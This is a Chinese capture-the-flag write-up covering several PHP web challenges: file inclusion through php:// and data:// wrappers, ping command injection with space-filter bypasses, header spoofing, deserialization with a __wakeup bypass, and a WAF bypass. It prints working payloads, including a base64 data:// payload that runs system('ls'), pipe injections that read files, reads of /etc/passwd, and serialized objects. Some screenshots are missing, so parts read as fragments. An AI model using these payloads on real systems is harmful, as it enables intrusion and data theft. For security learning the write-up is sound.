目录
5、index.php.bak(备份)
7、NiZhuanSiWei(data://text/plain)
1、文件包含漏洞(file include)
先简单了解一下什么是文件包含:开发人员一般会把重复使用的函数写到单个文件中,当需要使用这个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。那正常来说包含的文件是固定的、写死的就不会存在文件包含漏洞,但是这样的话又不够便捷,所以开发人员为了使代码调用更加灵活,就会将被包含的文件设置为变量,用来进行动态调用。但正是由于这种灵活性,允许用户从客户端提交一个变量值来作为文件包含的变量值,当这个值是段恶意代码时,并且服务端又没有对用户的输入进行一个很好的过滤,就会造成文件包含漏洞。
注:(实现文件包含功能的函数:include、require、include_once、require_once·······)
本题的php源代码乍一看就是利用filename参数带一段恶意代码进去,然后include函数执行恶意代码进而找到flag。事实也是这样,不过会遇到很多过滤,要想办绕过去。
这题是get请求,所以url传参,利用include的漏洞,执行恶意代码
php的文件包含漏洞,可以用到各种伪协议如下:
1.伪协议种类
file:// 访问本地文件系统
http:// 访问http(s)网址
ftp:// 访问ftp
php:// 访问各个输入/输出流
zlib:// 压缩流
data:// 数据
rar:// RAR压缩包
ogg:// 音频流
data://伪加密:
filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= base64解密为<?php system("ls")?> http://127.0.0.1/include.php?filename=data://text/plain,<?php%20phpinfo();?>
就这题而言,是php://伪协议
?filename=php://filter/convert.base32/resource=flag.php ?filename=php://filter/read=convert.base64/resource=/etc/passwd
首先使用phpfiter读取源码,构造:?filename=php://filter/convert.base64-encode/resource=flag.php
url/?filename=php://filter/convert.base64-encode/resource=flag.php
发现如下存在过滤
官方说使用
convert.iconv.[]
过滤器绕过,[]
中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
...
这题看编码的使用:http://61.147.171.105:49461/?filename=php://filter/convert.iconv.utf8.utf16/resource=check.php
2.PINGPINGPING
通过管道符 构造ip=127.0.0.1 | ls,可能存在空格过滤
去掉空格之后,我们查看一下index.php里面的内容.ip=127.0.0.1|cat index.php,此时就需要空格绕过
这里我们可以采用$IFS$6绕过,因为这个没用被过滤
打开之后,有正则匹配,包括空格过滤
flag被过滤掉了现在要拿到flag.php里面的内容,需要对flag进行构造
具体参见此处
3.http
检查网页源代码发现/Secret.php
进去,看到如下界面,我们发现此界面不是由https://Sycsecret.buuoj.cn界面前来的,所以我们加一个referer:https://Sycsecret.buuoj.cn
发现需要这个浏览器登录,所以我们改一改User-Agent
发现只能本地登录,所以我们加一个X-Forwarded-For: 127.0.0.1,拿到flag
4.反序列化
进来什么都没有,拿dirsearch扫,有时候扫不出来,很离谱,多扫几次,发现./www.zip
打开如下
什么是序列化
我的理解很简单,就是将对象转化为可以传输、储存的数据。
什么意思?
正常一个对象,只能存在于程序运行时,当程序运行结束了,对象就消失了,对象只在程序运行时存在如有这样一个需求,我想把user对象(包含了名字,年龄,身高,简历信息)传给数据持久化的服务(保存数据的服务)。
需要怎么做?
创建一个json对象,然后把user对象信息填写到json中,
{“name”:“zhangsan”,“age”:12,“height”,12,“resume”:{“school”:“tsinghua”,“level”:1}}
然后把这个json传给持久化服务,
这样就要求每次传输数据时,都要将对象先转为json等格式数据,再进行传输,而且这只是简单的数据。
如果是更复杂的,对象A里有对象B、C,对象B又有D,则需要手动,将这些数据转成json,发送到远程服务器,再根据这些数据,还原对象。而使用序列化,则是将user对象序列化为数据,传输到持久化服务器上时,再反序列化,就得到了user对象,让对象可以传输。
所以序列化,就是将对象转化为数据,相当与给对象拍了个快照,传输或者储存,使用时再反序列化,又变为了对象。看下php序列化和反序列化过程:
执行结果:
再反序列化看下:
打开index.php,发现存在反序列化。所以页面可以传进一个参数select
然后把它反序列化,反序列化的过程中会用到class.php。
其中包含class.php,打开看看,我们此时就需要调用到__destruct()并且password=100,username=admin才能echo $flag
怎么调用到它呢?其实不用我们动手,在反序列化脚本结束时会自动调用它,它是unserialize()
结束的魔术方法(魔法函数),我们通过构造数据流里面是password=100,username=admin,然后反序列化的时候进行匹配,如何对上了,就给flag
在进行序列化的时候,会调用construct函数
魔法函数
通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用。
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
原文链接:here
所以,我们可以进行序列化!
<?php
class Name
{
private $username;
private $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
var_dump(serialize($a));
var_dump(urlencode(serialize($a)));
?>
通过结果,我们可以试试!第一步已经完成!!
Public属性序列化后格式:成员名
Private属性序列化后格式:%00类名%00成员名
Protected属性序列化后的格式:%00*%00成员名
所以我们对原来的payload进行修改
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
修改之后仍然没有用,此时出问题了,问题就在于在反序列化的时候会触发__wakeup()函数!
__wakeup函数经常用在反序列化操作中,例如,重新建立数据连接或者性其他初始化操作。我们需要绕过这个函数
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
所以修改payload,拿到flag!
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
5、index.php.bak
知识点:index.php.bak是网页的备份文件
is_numeric($key):判断key是不是数字
intval($key):判断key是不是整型
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
数字和字符串比较,只要数字部分相同即可
6、WAF绕过
一个简单的计算机,我们审计源代码,可以发现/calc.php
发现存在过滤
这里就需要绕过,它过滤了num,但是!没有过滤" num"(前面加的空格)但是URl解析的时候又会把前面的空格去掉然后解析,所以可以采取这个方式,其他绕过方式参考此处和此处
不绕:
绕:
发现flag标记,这里用到了scandir()函数,扫描目录,应该构造scandir("/"),但是"/"被过滤掉了。
所以我们构造scandir(chr(47))!
构造flag payload,拿到flag,这里用到了file_get_contents()函数!!!
7、NiZhuanSiWei
代码审计:要我们传text,file,password这三个变量
第一关:需要我们传text变量,让text这个文件里面的内容为:welcome to the zjctf
这里我们需要用到
data://写入协议
构造payload
text=data://text//plain,welcome to the zjctf
第二关:文件包含漏洞,读文件
构造payload
file=php://filter/read=convert.base64-encode/resource=useless.php
拿到源代码:
解码:
第三关:反序列化
这里有输出这个对象,需要用到_tostring()函数,这个函数的内容是输出反系列化出来的文件的内容,所以我们需要序列化!
构造payload:password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}之后打开源码,拿flag